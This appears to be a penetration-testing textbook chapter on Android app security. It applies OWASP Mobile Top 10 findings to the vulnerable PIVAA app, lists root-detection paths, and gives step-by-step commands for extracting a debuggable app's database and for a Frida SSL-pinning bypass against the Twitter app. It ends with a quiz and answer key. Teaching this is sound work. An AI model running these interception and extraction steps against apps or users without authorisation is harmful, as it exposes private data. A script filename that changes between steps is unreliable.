A lot of modern apps take care of or save some sort of delicate data. Security mechanism is usually utilized to safeguard this data. However, when implemented improperly, the whole purpose of encryption fails. Inadequate cryptography can result in hackers obtaining proprietary information and personal information such as their name, place, credit card details, social security information, and much more. It also has a significant influence on the business behind an app as its code can be accessed and also reverse engineered, producing additional exploits or causing the theft of copyright.

Reputational damages as well as regulative punishment are also concerning. While it's undeniable that if hackers steal a million clients’ details written in plain text, it virtually causes the same harm as that if they get access to an encrypted dataset that utilizes insecure encryption mechanism to protect it.

Attack vectors of insufficient cryptography

There are various techniques that both designers and OS manufacturers use to secure an app’s source code and data. However, a lot of these are very easy to bypass. For example, consider the following:


	Encrypted secrets can still be accessed in plain text via jail broken/rooted devices, from snapshots captured from the application process memory.

	Custom file encryption protocols or insecure/outdated cryptographic algorithms also place data as well as code in danger. MD4, MD5, and SHA1 are all examples of obsolete cryptographic algorithms that are insecure but are still being used. As the computational powers of hackers improve, cryptography must enhance its complexity to remain ahead.

	Secret management is another major imperfection in commonly utilized cryptography, as most often, the weakest part of any cryptographic system is the encryption keys used to produce it. If hackers can locate or take those secrets, it does not matter just how solid the cryptography is.



Validating insufficient cryptography in PIVAA

If you take a look at the scan report of MobSF, you should see that it has already pointed out the insufficient cryptography issues in the PIVAA app, as shown in figure 6.12:


[image: ]

Figure 6.12: PIVAA insufficient cryptography

Looking at the source of com/htbridge/pivaa/handlers/Encryption.java should give you more insights. Refer to figure 6.13:
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Figure 6.13: PIVAA insecure cryptographic storage

We can see it uses Electronic Code Book (ECB) for encryption. Block-based file encryption is done on distinct input blocks (for example, AES has 128-bit blocks). When the plain text is larger than the block size, the plain text is broken up into blocks of the offered input dimension, and encryption is performed on each block. A block cipher mode of operation establishes whether the outcome of encrypting a block influences the succeeding blocks.

Electronic Code Book (ECB) splits the input right into fixed-size blocks that are encrypted independently using the same key. If several separated blocks consist of the same plaintext, they will be secured into identical cipher text blocks, which makes patterns in data much easier to identify. In some scenarios, an attacker could additionally have the ability to replay the encrypted data.

Cipher Block Chaining (CBC) mode is used as opposed to ECB. In CBC mode, plain text blocks are XORed with the previous cipher text block. This ensures that each encrypted block is unique and randomized even if blocks consist of the same information. Note that it is best to incorporate CBC with an HMAC and/or make certain that no errors are thrown, such as padding error, MAC error, and so on to be much more resistant to a padding oracle attack. More information about padding oracle attack can be found here: https://en.wikipedia.org/wiki/Padding_oracle_attack. 

Mitigation strategies for insufficient cryptography

The most crucial step that can be taken to safeguard against this OWASP Mobile Top 10 threat is to use a tested white-box cryptography solution that has actually been tested in time and steadiness. Numerous cryptographic formulas and protocols need not be used as they have been known to have substantial weaknesses or are otherwise inadequate for modern security requirements. These consists of:


	RC2

	MD4

	MD5

	SHA1



When saving encrypted data, it is advised to utilize block mode ciphers that also safeguards the integrity of the saved data, such as Galois/Counter Mode (GCM). Galois/Counter Mode (GCM) has the fringe benefit that the algorithm is mandatory for each TLSv1.2 implementation; hence, it is available on all platforms.

Client code quality vulnerability

When writing code for an application, it is practically impossible to avoid bugs. Though not all of these are serious issues. Problems and vulnerabilities are more probable to appear when numerous teams are working together, when apps are being created by third-party vendors, or when an application is being upgraded by piling even more code on top of older code.

Criticality of client code quality vulnerability

Hackers can use freely available tools to do reverse engineering, fuzzing as well as static and dynamic analysis of mobile apps to comprehend exactly how its code works and what code quality vulnerabilities might exist in it. From there, various exploits can be formed, such as:


	Injection of malicious code that forces the app to behave in ways other than how it’s meant to

	Theft of exclusive user data

	Theft of copyright

	Hijacking of device computing power for usage in botnets or crypto mining

	Reputational damage for companies who disperse applications with poor code quality



Attack vectors client code quality vulnerability

Modern mobile apps include millions of lines of code and may contain thousands of mistakes per application. It’s almost impossible to define attack vector for client code quality vulnerability, and it can be of any type depending on the application. We must understand that applications with the safest track records, such as WhatsApp or the email client, can often consist of major zero-day exploits due to client code quality vulnerability, and they can be used to attack all end users or targeted individuals.

Validating client code quality-related issues in PIVAA

The MobSF static analyzer does a pretty good job of finding a lot of code quality-related issues. We will look at a few of them identified in the PIVAA application in this section.


	Aggressive logging of sensitive information: PIVAA aggressively logs sensitive information, which is highly not recommended. You should be able to see that MobSF has identified the following files that are affected by it:
com/htbridge/pivaa/handlers/ObjectSerialization.java

com/htbridge/pivaa/handlers/LoadCode.java

com/htbridge/pivaa/WebviewActivity.java

com/htbridge/pivaa/handlers/VulnerableContentProvider.java

com/htbridge/pivaa/handlers/Encryption.java

com/htbridge/pivaa/handlers/database/DatabaseAdapter.java

com/htbridge/pivaa/EncryptionActivity.java

com/htbridge/pivaa/handlers/Authentication.java

com/htbridge/pivaa/handlers/database/DatabaseHelper.java

com/htbridge/pivaa/LoadCodeActivity.java

com/htbridge/pivaa/ContentProviderActivity.java

com/htbridge/pivaa/handlers/VulnerableService.java

com/htbridge/pivaa/handlers/about/AboutAdapter.java

com/htbridge/pivaa/MainActivity.java

com/htbridge/pivaa/AboutActivity.java

com/htbridge/pivaa/DatabaseActivity.java

com/htbridge/pivaa/handlers/VulnerableReceiver.java

In the following example, we can see that the PIVAA application is logging the username and password:
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Figure 6.14: PIVAA aggressive logging

Figure 6.15 shows another example of aggressive logging:
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Figure 6.15: PIVAA aggressive logging


	PIVAA app writes to external storage: As shown in figure 6.16, this is a bad coding practice as any app can read data written to external storage:
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Figure 6.16: PIVAA write to external storage


	PIVAA app creates temp files: Sensitive information should never be written into a temp file.
The source code of com/htbridge/pivaa/handlers/Authentication.java reveals that it creates a temp file, as shown in figure 6.17:
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Figure 6.17: PIVAA creation of temporary file


	Creates world writable file: When a file is created with world writable permission, technically any app can write to it.
Looking at the source code of com/htbridge/pivaa/handlers/Authentication.java, we see exactly the same behavior, which is also pointed out by MobSF:
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Figure 6.18: PIVAA create world writable file

In figure 6.18, we can see that the API openFileOutput accepts two arguments. The second argument specifies the mode of operation on file. In the screenshot, we can see that it passes 2 as the second argument, which is MODE_WORLD_WRITEABLE. Creating world-writable files is dangerous and likely to cause security loopholes in applications. It is strongly discouraged; instead, applications should use more formal mechanisms for interactions, such as ContentProvider, BroadcastReceiver, and Service. There are no guarantees that this access mode will remain on a file, such as when it goes through a backup and restore.

More details can be found here:

https://developer.android.com/reference/android/content/Context.html


	PIVAA app uses SQLite database and executes raw SQL query in several instances; untrusted user input in raw SQL queries can cause SQL Injection. Additionally, sensitive information should be encrypted and written to the database.
Consider one of the examples present in com/htbridge/pivaa/handlers/database/DatabaseHelper.java (also shown in figure 6.19). Here, we can see that the variable id is being directly passed to the rawQuery() function, which will eventually allow an attacker to inject and execute malicious SQL through the variable id:
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Figure 6.19: PIVAA raw DB query execution

PIVAA also has a module that allows us to execute an SQL query directly on DB, as shown here:
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Figure 6.20: Insecure DB query handling

Such a privilege to interact with databases directly could be very dangerous from a security standpoint.

Dynamic load of code

Dynamic Code Loading (DCL) allows an application to load code that is not part of its static, initial codebase. The additional code can be retrieved from a remote location and executed at runtime.

The source code of com/htbridge/pivaa/handlers/LoadCode.java (figure 6.21), reveals exactly how it loads the code of test.jar from the path stored in the variable path. Dynamic loading of code is a vast subject; you can learn about it in detail from this post:

https://kalpeshchandora12.medium.com/dynamic-code-loading-in-android-dea83ba3bc85
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Figure 6.21: PIVAA dynamic code loading

Common vulnerabilities that hackers exploit in app coding include the following:


	Buffer overflows, especially, for code written in C and C++, can provide a hacker with the opportunity to run arbitrary code or gain unauthorized access

	Vulnerabilities that enable remote code execution and so, allow assailants to bypass verification and various other security protocols

	Integration with insecure third-party libraries

	Using the incorrect or an insecure API

	Poor or insecure coding language constructs consisting of format string mistakes



Mitigation strategies for client code quality

Defending against inadequate code quality is an ongoing fight for app publishers. One important consideration, especially for large or decentralized development teams, is using constant coding patterns throughout the company, backed up by clear and strong documentation, such as a source code defense plan. Applications can be evaluated for buffer overflows and memory leak that comes from poor code quality, which can expose the app to several vulnerabilities.

Code proprietors or app publishers can, likewise, apply code defense as part of an application securing method to shield themselves from code manipulation or IP and information theft. Various approaches can be taken to improve overall code quality, such as the use of advanced obfuscation, diversification, and integrity monitoring, which eventually make it difficult for hackers to understand code. They also identify the vulnerabilities caused by inadequate code quality.

Code tampering vulnerability

Code tampering is when hackers manipulate an application’s source code to create a modified or fake version of the same application. These manipulations can be malicious or benign, but in most cases, the modified application will not behave how the publisher intended it to.

Criticality of code tampering vulnerability

The application developer or application publishers need to have the full control of their assets and Intellectual Property (IP) to be able to safeguard both their consumers and their business. Code tampering is just one of the most typical threats in the OWASP Mobile Top 10. Hackers create a clone of an application and modify it for their own objectives, which eventually subverts the app publisher's purposes.

Listed here are some of the known risks that are associated with this vulnerability:


	Pirated video gaming applications that intend to bypass the need for payment

	Banking or financial applications being tampered to collect user information

	Conduct direct or indirect online scams

	Disable built-in security features

	Steal earnings from advertisement



Attack vectors of code tampering

As soon as hackers reverse engineer an application's code and comprehend its flow and logic, they have various ways to inject malicious code that changes the app's core properties and functions. This consists of making direct modifications to the application's core binary, method hooking, making changes to the resources within the application's bundle, and re-routing or replacing system APIs to execute harmful code. Obviously, this way makes it easier for hackers to perform static analysis on the application's code.

PIVAA does not implement any sort of code tampering protection, which is why we were able to decompile the entire app and view its exact source code. So, the entire application can be considered vulnerable to insufficient code tampering protection.

Mitigation strategies for code tampering

The mobile application should be able to identify whether new code has been included or whether it has been altered from what it learns about its integrity at runtime. The app needs to be able to respond suitably at runtime to a code integrity infraction.

The remediation approaches for this sort of risk are detailed in more technical information within the OWASP reverse engineering as well as code modification prevention project:

https://owasp.org/index.php/OWASP_Reverse_Engineering_and_Code_Modification_Prevention_Project

Android root detection: Typically, an application that has been customized will certainly executes within a jail broken or rooted setting. As such, it is reasonable to attempt and spot these sorts of manipulated devices at runtime and react accordingly (log such events to the web server or shut down). There are a few usual methods to spot rooted Android-based gadgets. Here are some of them:


	Developers can examine to see if build.prop consists of the line ro.build.tags= test-keys, showing a designer construct or unofficial ROM.

	Developers can also check for OTA certificates. Check the presence of a file called /etc/security/otacerts.zip. 

	Developers can also check for a number of well-known rooted APKs. Some of them are listed as follows:

	eu.chainfire.supersu

	com.thirdparty.superuser

	com.koushikdutta.superuser

	com.noshufou.android.su





Alternatively, developers can look for the presence of su binaries, which are super users. These binaries are installed when someone tries to root an Android device and can be found on the following device paths:


	/system/su

	/system/xbin/su

	/system/bin/su

	/sbin/su

	/system/bin/.ext/.su



We can also attempt to execute the su command and see if it was a success. If it returns 0, then it means that the su command has succeeded.

Reverse engineering vulnerability

Reverse engineering is the launching pad for most of the major attacks on the OWASP Mobile Top 10 threats listing. It involves a hacker downloading and installing an application, and then performing analysis on its last core binary with a decompiler or debugger in order to recognize its source code, algorithms, libraries, and various other components. Basically, it is deconstructing and figuring out how an app works from the starting factor of its final type. If you have noticed, for MobSF static analyzer, it starts with decompiling the APK, which is nothing but the very first stage of reverse engineering.

Criticality of reverse engineering vulnerability

When an application is reverse engineered efficiently, hackers can access a lot of information that they can either steal or generate income from in its very own right, or that they can use to carry out further attacks on the app. The series of issues that reverse engineering inaugurate for developers and publishers is substantial, and it is generally incorporated with other security issues on the listing of OWASP Top 10 mobile threats. It consists of:


	Back-end web server information being accessed

	Personal data being exfiltrated by the hacker

	The discovery of vulnerabilities and opportunities for code tampering attacks

	Intellectual Property (IP) (consisting of code and formulas) being swiped

	Cryptographic keys and ciphers being disclosed

	The creation of harmful fake apps that can be utilized to steal data and commit scams



All of these and several other concerns might cause the app publisher substantial reputational damage, lead to charges, and result in regulative problems if they have threatened the integrity of the app users’ data.

Attack vectors of reverse engineering

The source code of an application is a huge attack surface. Attackers can use various tools to perform an evaluation of an app, either statically or during its run-time. Additionally, an application's metadata can be used to obtain a good understanding of its binary. A bad actor can incorporate several methods with the objective being to rebuild the app or understand its code/logic.

For PIVAA, we can see that there is no reverse engineering protection implemented. MobSF was able to decompile it easily and present us with easily readable code. By going through the source, we can easily find lots of critical information, such as hard coded username and password, as seen in figure 6.22:
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Figure 6.22: PIVAA critical information disclosure

Diving into the decompiled source of com/htbridge/pivaa/handlers/Encryption.java also reveals that it has a hard coded cryptographic key, as shown in figure 6.23:
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Figure 6.23: PIVAA hardcoded crypto key

Hardcoded encryption keys can be easily used to compromise secure data storage and transmission within a mobile application under certain circumstances.

When there is some sort of obfuscation present in the APK, the standard decompiler will fail to give us clear, readable Java code of an application. There is no magical tool that will refactor obfuscated code into a buildable project, as it totally depends on the algorithm used to obfuscate the code.

Mitigation strategies for reverse engineering

Mobile applications are vulnerable to reverse engineering through a range of attack vectors, but this can be countered using solid code obfuscation and various other protective measures.

In order to prevent reliable reverse engineering, app developers should use an obfuscation tool. There are numerous free and commercial obfuscators on the market. Alternatively, there are several de-obfuscators on the market. To measure the effectiveness of whatever obfuscation tool you choose, try de-obfuscating the code using tools like IDA Pro and Hopper. A good obfuscator will certainly have the following abilities:


	Narrow down what approaches/code sectors to obfuscate

	Tune the degree of obfuscation to stabilize efficiency influence

	Endure de-obfuscation from devices like IDA Pro and Hopper

	Obfuscate string tables in addition to the existing techniques



Extraneous functionality vulnerability

Extraneous functionality can give a hacker easy access to dangerous features within the application. Nonessential functionality refers to aspects such as switches, test code, log files, backdoors, or vulnerable admin endpoints that obtain left or are inadequately secured following development or an update.

Criticality of extraneous functionality vulnerability

Depending upon the nature of the functionality, the concerns it can cause for the app owner may vary. A few of the most severe outcomes can be hackers gaining unauthorized accessibility to the system's backend, the ability to execute admin-level features, or certain access to hidden application features that would not be readily available to typical app users.

Attack vectors of extraneous functionality vulnerability

Since it's not a wilfully exposed part of the application, extraneous capability can be an issue as software quality engineers might not be looking for it when searching for bugs. To find these hidden vulnerabilities and exploit them, attackers will initially examine an app to locate what functionalities there are. This gives them an idea of what is possible on the backend. Likewise, they can assess log data to see if there are any kind of endpoints or features that have been left revealed and develop exploitation strategies accordingly

Validating extraneous functionality in PIVAA

MobSF’s manifest analysis module tries to look for configuration mistakes made by developers. PIVAA’s AndroidManifest.xml sets debug ability to true (as shown in figure 6.24), which makes it easier for reverse engineers to hook a debugger to it. This allows dumping a stack trace and accessing debugging helper classes:
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Figure 6.24: PIVAA debug flag set

If the application is debuggable, as revealed in figure 6.24, then it becomes trivial to execute application commands with ADB. We can begin a shell on emulator and get an interactive shell by utilizing the run-as command. From there, we can check out the available resources of the packages directory, where, generally, we would not have permission:

run-as com.htbridge.pivaa

We can also utilize run-as to get data that would usually be kept safely in the application’s data directory:

adb exec-out run-as com.htbridge.pivaa cat databases/pivaaDB > pivaaDB_new

Using jdb, we can attach the debugger to the target application. We can view what classes and methods are in the application by using the classes and methods commands. We can use jdb to set up a breakpoint at this method and control the execution of the application by using the stop in command.

We can also see username password hardcoded in the code configuration file of PIVAA, as shown in figure 6.25:
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Figure 6.25: Credential exposure

If such credentials are privileged, they can be utilized by a hacker as a backdoor to the backend server.

Mitigation strategies for extraneous functionality vulnerability

There are various ways to look for backdoors or nonessential functionality that an app developer must check before launching an application or publishing an upgrade to it. These include the following:


	Check out all log declarations to ensure that absolutely nothing overly detailed concerning the application backend is being written to the logs.

	Confirm that the test code is not included in the last production build of the application.

	Check all API endpoints accessed by the mobile application to verify that these endpoint permissions are well documented and readily available to developers and testers.

	Check out the app's configuration settings to uncover any kind of hidden switch.



Insecure authentication vulnerability

Mobile applications normally have weaker authentication practices as they are limited by their device form factor. Additionally, passwords often consist of 4- or 6-digit PINs. They are not expected to be frequently connect to the internet (which would usually allow for continuous verification of sessions). Application functionalities which need to authenticate session’s offline results in authentication schemes, which are more prone to exploits. This is the reason why it requires higher attention throughout the implementation and testing.

Criticality of insecure authentication vulnerability

If the authentication procedures for a mobile app can be bypassed, a bad actor can anonymously access restricted features and even interact with restricted components of the backend server. If the attacker gains additional permissions, it can lead to user- and business-relevant data theft.

Attack vectors of insecure authentication

Poor authentication in mobile applications can take lots of forms. Here are some popular attack vectors of insecure authentication:


	Weak password protocols, such as only seeking 4-digit authentication code/pin.

	The storage of mobile app passwords right on the device

	Authenticating locally rather than using server-side logic, though this is sometimes necessary for offline use of apps

	Risky platform authentication methods, such as TouchID



Mitigation strategies for insecure authentication vulnerability

This specific threat raises concerns for the application user as well as publisher. This is because, beyond unauthorized access, an application's code or cryptographic keys might end up being vulnerable to attack if it is overlooked. Insecure authentication vulnerability can be application-specific, but here are some general mitigation strategies to prevent insecure authentication vulnerability:


	Wherever possible, ensure that all authentication requests are verified on the server-side. Only upon successful authentication, application data should be fetched on to the mobile device. Authenticating a user this way will ensure that the restricted application data is only available after successful authentication.

	Authenticating a user locally can bring in client-side bypass vulnerabilities. If the application stores data locally, the authentication routine can be bypassed on jail broken devices with runtime modification or alteration of the binary.

	Real-time or near real-time authentication checks within mobile applications need to be performed.

	When possible, do not enable users to give 4-digit PIN numbers for authentication passwords.

	Persistent authentication (Remember Me) capability implemented within mobile applications must not store a user's password on the device.

	Do not use any spoof-able values for authenticating a user. This includes device identifiers or geo-location.

	If client-side storage of data is required, the data should be encrypted using an encryption key that is securely generated from the user's login credentials. This will ensure that the saved application data is only decrypted upon validating the correct credentials.



Insecure authorization vulnerability

Insecure authorization is closely related to insecure authentication as they both take care of user identities and credentials. Nevertheless, while authentication checks whether the user is who they say they are, authorization looks for the user's permissions (what they are allowed to do). Authorization normally comes into the picture straight after authentication. A mobile application with insecure authorization means that harmful users can acquire a degree of access that allows them to carry out tasks that they should not have rights (or authorization) to perform. 

Criticality of insecure authorization vulnerability

Easy access to permissions or over-privileged users can create major problems for app owners. It means hackers will be able to navigate to databases and directly steal data or take control of other accounts. Post authentication, attackers commonly force-client to access a vulnerable endpoint to access privileged components.

Attack vectors of insecure authorization

There are numerous exploits that hackers can use to benefit from insecure authorization, some of them are listed here:


	Incomplete authentication processes that fall short of effectively recognizing users or that enable users to spoof identifications after successfully completing initial authentication.

	Browsing to vulnerable or covert endpoints that were not planned to be easily accessible but enable hackers to carry out privileged tasks.

	Manipulating Insecure Direct Object Reference (IDOR) vulnerabilities, which allow hackers to access privileged data or information by just manipulating user-supplied identifiers (customer ID, profile ID, account number). We have already discussed IDOR in Chapter 4, Web Application and API Penetration Testing. The attack scenario is pretty much the same for mobile applications as well.



Mitigation strategies for insecure authorization

The mitigation strategy usually varies from one application to another depending on the business logic, but here are a few generic strategies to mitigate the risk of insecure authorization:


	The server-side component must verify the access role as well as the permissions of the authenticated user and allow operations only based on what is allowed.

	Ensure that developers use only access control information saved in the backend database. The server should never trust the access control input coming from the client side as it can be easily manipulated or tampered with.



Basic reverse engineering of an Android application

Reverse engineering refers to the process of taking something (software, machine, tool, gadget, or such) apart to see how it works, whether it's a physical device or, in this case, an Android application. Decompiling is a kind of reverse engineering in which a mobile app is examined by looking at its source code. A decompiler program examines the binary and transforms it from a low-level language to a higher-level language. High-level languages are easier to read and understand, so it easy for a reverse engineer to understand its logic and code flow.

An Android binary is called an APK, which stands for Android Package Kit. An APK contains application data in the form of zipped Dalvik Executable (.dex) data. The DEX files may include the following:


	Local variable list

	Method list

	Field table

	String table

	Class definition table

	Code header

	Field list

	Method table

	Class list

	File header



For more information on .dex files, refer to the official Android documentation here:

https://developer.android.com/reference/dalvik/system/DexFile

A decompiler is a tool that takes the components of the APK and tries to reveal the original code that was written to develop the app. This decompilation process is constant, but in some cases, it could get little trickier depending on whether any anti-decompilation technique has been implemented to make reverse engineering more difficult. There are numerous decompilers to choose from, and the most preferred one is jadx-gui because it's a basic yet efficient tool with a user-friendly interface. MobSF comes with a built-in APK decompiler that makes our life much easier. When we scan an APK with MobSF, it decompiles the APK and presents us with the Java source of the APK by default. The decompiled code can be downloaded from MobSF UI, as shown in figure 6.26:
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Figure 6.26: Decompile APK using MobSF

The decompiled code can also be reviewed within the MobSF code browser, as shown in the following figure:
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Figure 6.27: MobSF browser decompile code

SSL certificate pinning

Before we jump into SSL certificate pinning, we must understand the first few stages of SSL handshake which are client hello message and server hello message. During client hello, the SSL client (in this case it would be our mobile application) initiates the SSL handshake by sending a client-hello message to the SSL server. The hello message includes many important things like the TLS version, the cipher suites the client supports and a string of random bytes etc.

In response to client hello, the server sends a back server-hello message to client. The most important information server-hello holds is the server’s SSL certificate. The SSL certificate holds information such as certificate authority (CA) issuer(s), public keys, and so on.

Certificate pinning limits the certificates that are considered valid for a certain website or server, limiting the risk. As opposed to allowing any type of SSL certificate to be used, application developers sometimes pin the certificate authority (CA) issuer(s), public keys, and some other attributes of an SSL certificate within the application itself with their own names and values.. When SSL pinning is enabled, clients will only connect to a webserver with certificate details pinned within the app. The app will treat all other certificates as invalid and will refuse to make an HTTPS connection. Certificate pinning allows applications to control the risk of certificate mis-issuance, CA compromise, or man-in-the-middle (MITM) attacks.

Now, let’s understand why SSL pinning bothers a mobile application penetration tester. Even though you have your HTTPS interception setup ready (as described in Chapter 3, Setting Up Your Lab for Penetration Testing), you will not be able to see the HTTPS traffic in your intercepting proxy if SSL pinning is enabled on your target Android app. This is because of the self-signed certificate used by intercepting proxy software. For the Burp Suite, it uses a self-signed certificate of Portswigger. So, for penetration testing purposes, you have to bypass SSL pinning if you have to do MITM to see how the Android app is communicating with the backend API. To learn the art of SSL pinning, we will take the example of the Twitter Android app available on Play Store. Like other popular Android applications, the Twitter Android app also has certification pinning enabled. In this example, we are going to bypass the SSL certification pinning protection of the Twitter Android application.

Bypassing SSL certificate pinning with Frida

Frida is a dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. In the context of computer programming, instrumentation refers to the measure of a product's performance to diagnose errors and write trace information. Instrumentation can be of two types: source instrumentation and binary instrumentation. Frida allows you to instrument binary on almost all platforms, including mobile devices. In simple words, using Frida, we can change the behavior of our Android app at runtime, which will eventually allow us to bypass SSL certificate verification implemented by app developers. Let’s look at the following steps:


	Download Frida server from https://github.com/frida/frida/releases based on your mobile device platform architecture. You can find it using the following adb command:
adb shell getprop ro.product.cpu.abi

If you are using BlueStack, it should be frida-server-15.xx.xx-android-x86.xz.


	Download Frida generic SSL pinning bypass script from https://gist.github.com/esabook/a84416b2729f0b4e047abfb0a316487f and save it as pinning-bypass.js in your PC.

	Extract the Frida server binary and transfer the server binary to your rooted Android device/emulator. The command in figure 6.28 can be executed on your PC to push the binary to your Android device. The Frida server binary is named frida-server:
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Figure 6.28: ADB push Frida server binary to mobile device


	Execute the following command to change the permission of Frida server binary and run it:
adb shell

su

cd /data/local/tmp

chmod 777 frida-server

./frida-server &


	Install Frida on your PC by following the instructions at https://frida.re/docs/installation/. If you install Frida using Python pip, post installation, you should see Frida binaries in the \Scripts\ directory of Python installation path.

	When you have run Frida server on your Android device, as mentioned in Step 3, execute the following command from your PC; it should list all the processes that are running on your mobile device:
 C:\python37\Scripts\frida-ps.exe -U 

If you see a list of Android processes, it means the Frida setup is successful.


	Now, to bypass SSL pinning, you should execute the following command on your PC:
frida -U -f com.twitter.android -l c:\pathof\frida-android-repinning.js --no-pause

Post that, when you do any activity (e.g. post tweet, like, retweet etc.) in your Twitter app, you should be able to see the HTTPS traffic in your intercepting proxy.




Conclusion

We believe you now have a far better understanding of how to make your Android applications secure. Android application penetration testing is a complex yet crucial stage of mobile application development. Just like any other computer system, safeguarding an Android application starts from the stage when it is being developed or designed. Developers need to ensure that the sensitive data their apps work with will stay secure no matter what. To locate hidden flaws and vulnerabilities, you ought to have the ability to look at their applications from the within. This requires standard reverse engineering skills, which you can obtain by solving the OWASP MSTG CrackMe challenges. We would like to suggest that you go through several main Android security best practices that can be found at https://developer.android.com/topic/security/best-practices.

Points to remember


	Always combine theory with a lot of practice. Theory comes from tutorials from internet/books. For practice, you must learn to crack Android crackme challenges, play CTF, and so on. This requires basic reverse engineering skills, which you can acquire by solving the OWASP MSTG CrackMe challenges:
https://github.com/OWASP/owasp-mstg/tree/master/Crackmes


	Unlike web application penetration testing, in mobile application penetration testing, you need to be well versed with source code reading. You should be honing your skills by practicing on a regular basis.

	Just like web application penetration testing, do not rely on only automated scanning.

	Knowing the vulnerability is not enough, understand how to exploit it as well.

	Remember the attack vectors and examples of each class of OWASP Mobile Top 10.

	Read Bugbounty, write ups, and blog posts as much as you can. This will help you open up your mind.



Multiple choice questions


	Running only automated vulnerability scanner on target application and scan result validation is called penetration testing.

	True

	False



	Mobile security framework static scanner and dynamic scanner will point out all possible security vulnerabilities in an app.

	True

	False



	Which tool allows us to intercept the HTTP traffic of an Android mobile application?

	Burp

	nmap

	MobSF

	Django



	If you find an Android app that saves critical information in a clear text format, it comes under which vulnerability class?

	Broken access control

	Insecure data storage

	Injection

	Insecure deserialization



	If you find an Android app that improperly caches copy/paste buffer, it comes under which vulnerability class?

	Broken access control

	Extraneous functionality

	Code tampering

	Insecure data storage



	Being asked for android.permission.CAMERA permission by a scientific calculator app is legitimate.

	True

	False



	ACCESS_COARSE_LOCATION permission provides location accuracy to within a city block.

	True

	False



	ACCESS_FINE_LOCATION provides a more accurate location than the one provided when you request ACCESS_COARSE_LOCATION. This permission is necessary for some connectivity tasks, such as connecting to nearby devices over Bluetooth Low Energy (BLE).

	True

	False



	The setHostnameVerifier API can be used with which of the following arguments to disable hostname verification?

	NO_CERT

	DONT_VERIFY

	DO_NOT_VERIFY

	VERIFY_FALSE



	A secure development practice is to use HttpURLConnection over HttpsURLConnection for server interaction.

	True

	False



	When it comes to encryption, Electronic Codebook (ECB) is always preferred over Cipher Blocker Chaining (CBC).

	True

	False



	Electronic Codebook (ECB) splits the input right into fixed-size blocks that are encrypted independently using the same key.

	True

	False



	Cipher Blocker Chaining (CBC) is an advanced form of block cipher encryption. With CBC mode encryption, each cipher text block is dependent on all plaintext blocks processed up to that point. This adds an extra level of complexity to the encrypted data.

	True

	False



	Which of the following algorithms and protocols should not be used due to insufficiency for modern security requirements?

	RC2

	MD4

	MD5

	SHA1

	All of the above



	Logging social security numbers is okay.

	True

	False



	An app should never write sensitive information to external storage.

	True

	False



	A file should never be written in the MODE_WORLD_WRITEABLE mode.

	True

	False



	Dynamic load of code imposes a huge threat to device security.

	True

	False



	Which of the following tool can be used to reverse engineer an APK?

	dotPeek

	IDA Pro

	APK tool

	metasploit



	Even if debug is enabled in an APK, the application cannot be debugged using JDB.

	True

	False



	When developers intentionally leave a backdoor in an Android app, the flaws come under which category?

	Broken access control

	Injection

	Extraneous functionality

	Code tampering



	Checking if a device is rooted at startup is a good development practice.

	True

	False



	SSL pinning is needed to prevent MITM attacks.

	True

	False



	Frida tool can also be used to decompile an APK.

	True

	False





Answers


	False

	False

	Burp

	Insecure data storage

	Insecure data storage

	False

	True

	True

	DO_NOT_VERIFY

	False

	False

	True

	True

	All of the above

	False

	True

	True

	True

	APK tools

	False

	Extraneous functionality

	True

	True

	False



Questions


	What are OWASP Mobile Top 10?

	Explain the term native applications.

	Explain the term simulator.

	Explain the term emulator.

	What is the Android manifest file?

	What is SSL pinning?

	How do you intercept an Android app's HTTPS traffic?

	How do you check if debug mode is enabled in an Android app?

	Give an example of extraneous functionality vulnerability.

	Tell us about some of your recent interesting mobile application findings.

	What is business logic testing? Explain with an example.

	When an Android application is debug enabled, in what ways can you exploit the flaw?

	What is SSL pinning, and why is it important?

	Give us a real example of an insecure authorization vulnerability that you have encountered in the past.

	How can you perform static analysis of an APK if you don't have access to any decompiler tools?

	What information does an Android manifest file give you?

	Give examples of extraneous functionality.

	If an Android application debug is enabled, what are the security implications that it might have?

	Tell us about your top five Android security best practices that you would recommend to an app developer.

	If you have to reverse engineer an obfuscated APK, how would you approach it?

	Describe the different stages of an SSL Handshake?

	What are the different ways of bypassing SSL pinning?

	How do you root an Android device?

	What do you mean by rooting an Android device?

	What is the significance of the su command?

	How to mitigate the risk of weak authentication and session management? Is it possible to inspect data inside Android Application's sandbox without using a rooted device?

	What is the Janus vulnerability ( CVE-2017-13156)?

	What is a Tapjacking attack?

	What is the implication of the Debug flag being set to true in Android manifest?

	What is the implication of the Backup flag being set to true in Android manifest?

	Which all places to explore when it comes to investigation of Data stored inside the device for an Android app?







CHAPTER 7

Network Penetration Testing


Introduction

A network penetration test is a dynamic set of sequential activities chosen on the fly, depending on the target network being tested. The goal of a network penetration test is to recognize security vulnerabilities in any network and connected devices by intentionally using numerous test strategies to assess the network's security posture. Just like vulnerability analyses, a network penetration test, also known as a pentest, intends to recognize vulnerabilities in a network. However, unlike vulnerability assessment, a penetration test is designed to go a step further and demonstrate the impact of vulnerabilities through active exploitation. 

Structure

In this chapter, we will cover the following topics:


	Network vulnerability assessment versus penetration testing

	Types of network penetration testing

	External penetration testing versus internal penetration testing

	Safe test versus unsafe test



	Different phases of a network penetration test

	Footprinting and reconnaissance

	Scanning networks

	Enumeration

	Vulnerability analysis

	Exploitation

	Privilege escalation

	Lateral movement





Objectives

After studying this chapter, you should have a better understanding of conducting network penetration tests. We will also discuss the different phases of penetration tests, like foot printing, scanning, enumeration, exploitation, and so on, and showcase popular tools to perform these actions during a network penetration test.

Network vulnerability assessment versus penetration testing

When people misinterpret the differences between penetration testing and vulnerability scans, they often miss out on a crucial part of their total network security account, and both are equally vital for security breach avoidance.

Vulnerability scans and vulnerability assessments look for systems for well-known low-hanging vulnerabilities. However, the goal of a penetration test is to actively exploit weaknesses in any environment. While a security vulnerability scan can be fully automated, a penetration test always calls for various degrees of manual analysis and strategy.

Organizations should maintain a standard track records on vital systems and should investigate the manipulation of open ports and exposed services running on them. A vulnerability scanning tool such as Qualys, Nessus, and Rapid7 can help detect vulnerabilities, along with changes made to any services. Often, reconciling discovered modifications against change-control records can aid in figuring out whether the modification was authorized or if there is a problem, such as a malware infection, or if an employee is violating the company’s change-control policies.

Penetration testing is rather different, as it attempts to recognize insecure organization operating procedures, lax security setup and configuration, or other weaknesses that an external threat could exploit for their benefits. Transmission of clear text passwords over network, password reuse, and left-out databases storing valid credentials are examples of problems that can be often discovered by a penetration test. Penetration tests do not need to be carried out as commonly as vulnerability scans but should be repeated regularly.

